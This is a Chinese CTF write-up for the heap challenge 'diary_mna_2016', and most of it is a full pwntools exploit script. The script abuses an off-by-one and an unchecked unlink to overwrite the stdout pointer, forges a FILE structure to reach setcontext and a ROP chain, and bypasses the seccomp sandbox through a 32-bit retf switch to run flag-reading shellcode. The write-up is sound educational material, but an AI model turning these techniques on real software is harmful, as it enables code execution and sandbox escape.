0%

diary_mna_2016

首先,检查一下程序的保护机制

然后检查一下沙箱机制,发现禁用了execve还有open函数,但是没有对sys_number的范围进行判断,因此,可以利用retf切换到32位模式绕过沙箱。

然后,我们用IDA分析一下,输入函数存在off by one。

程序自己用链表实现了一个堆块管理器。

其free功能使用的是unlink,将堆块取出、合并等操作,但是缺少链表完整性检查

这里,我们unlink不能直接将got表修改为system_addr的地址,因为这里unlink的操作,要保证fd和bk都为可写的地址。因此,一个好的方法是设置fd为bss上stdout指针的地址-x10,设置bk为一个堆地址,这样,unlink以后stdout指针被修改为一个堆地址,我们只需要在堆里伪造好_IO_2_1_stdout_结构体即可。

由于heap是使用mmap映射出来的,因此,其地址靠近lib地址

但是其地址与libc地址的偏移在本地和远程是不一样的,但是可以在一个范围内爆破。爆破方法见我的这篇文章https://blog.csdn.net/seaaseesa/article/details/107072062

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#coding:utf8
from pwn import *

#sh = process('./diary_mna_2016',env={'LD_PRELOAD':'./libc-2.23.so'})
#sh = remote('node3.buuoj.cn',26394)
#sh = remote('127.0.0.1',8666)
libc = ELF('./libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
stdout_bss_addr = 0x00000000006020F0

def add(index,size,content,line = True):
sh.sendlineafter('>>','1')
sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))
sh.sendlineafter('size',str(size))
if line:
sh.sendlineafter('happened on',content)
else:
sh.sendafter('happened on',content)

def show(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))

def delete(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Input date','1970/01/' + str(index).rjust(2,'0'))

def exploit(offset):
add(1,0x200,'a'*0xFF)
add(2,0x100,'b'*0xFF)
add(3,0x60,'c'*0x10)
add(4,0x120,'d'*0x10)
add(5,0x60,'e'*0x10)
delete(2)

add(2,0x100,'b',False)
show(2)
sh.recvuntil('\n')
heap_addr = u64(sh.recv(6).ljust(8,'\x00')) ^ ord('b')
libc_base = heap_addr - offset
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
pop_rax = libc_base + 0x0000000000033544
jmp_rdi = libc_base + 0x000000000006caa4
'''pop_rdi = libc_base + 0x0000000000021112
pop_rsi = libc_base + 0x00000000000202f8
pop_rdx = libc_base + 0x0000000000001b92
pop_rax = libc_base + 0x000000000003a738
jmp_rdi = libc_base + 0x000000000006cab4
'''
mprotect_addr = libc_base + libc.sym['mprotect']
setcontext_x = libc_base + libc.sym['setcontext'] + 0x35
print 'libc_base=',hex(libc_base)

fake_file = p64(0) + p64(0)
fake_file = fake_file.ljust(0x88,'\x00')
fake_file += p64(heap_addr - 0x4D0)
fake_file = fake_file.ljust(0xA0,'\x00')
fake_file += p64(heap_addr - 0x3E8)
fake_file += p64(pop_rdi)
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0xFFFFFFFF)
fake_file += p64(0)*2
#vtable指针
fake_file += p64(heap_addr - 0x3F0 - 0x38)

fake_file += p64(setcontext_x) #vtable

shellcode_addr = heap_addr + 0x100
#接下来布置rop,跳到shellcode里去
fake_file += p64(shellcode_addr) + p64(pop_rsi) + p64(0x200) + p64(pop_rdx) + p64(0x7) + p64(mprotect_addr) + p64(jmp_rdi)

delete(1)
add(1,0x200,fake_file)

#先调用read输入32位shellcode,然后使用retf切换到32位模式,执行32位shellcode
shellcode = asm('''/*mmap*/
mov r9d,0
mov r8d,0xFFFFFFFF
mov r10,0x22
mov edx,7
mov esi,0x1000
mov edi,0x160000
mov eax,9
syscall
/*write*/
mov rax,0x3A7475706E69
push rax
mov rax,1
mov rdi,rax
mov rsi,rsp
mov rdx,6
syscall
/*read*/
xor rax,rax
xor rdi,rdi
mov rsi,0x160800
mov rdx,0x100
syscall
/*retf*/
xor rsp,rsp
mov esp,0x160700
mov dword ptr[esp+4],0x23
mov dword ptr[esp],0x160800
retf
''',arch="amd64")

add(6,0x200,shellcode)

delete(3)
payload = p64(stdout_bss_addr - 0x10) + p64(heap_addr - 0x4D0)
payload = payload.ljust(0x58,'c')
payload += p64(0x68) #prev_size
payload += p8(0x28)
add(3,0x60,payload,False)
#unlink修改stdout指针
delete(4)

shellcode = asm(shellcraft.open('./flag') + shellcraft.read(3,'esp',0x30) + shellcraft.write(1,'esp',0x30))
sh.sendafter('input:',shellcode)

for x in range(0xD0,0xFF):
try:
global sh
#sh = process('./diary_mna_2016',env={'LD_PRELOAD':'./libc-2.23.so'})
sh = remote('node3.buuoj.cn',26394)
offset = 0x5 << 20 #remote offset=0x5ee500
offset += x << 12
offset += 0x500
print hex(offset)
exploit(offset)
sh.interactive()
except:
sh.close()
print 'trying...'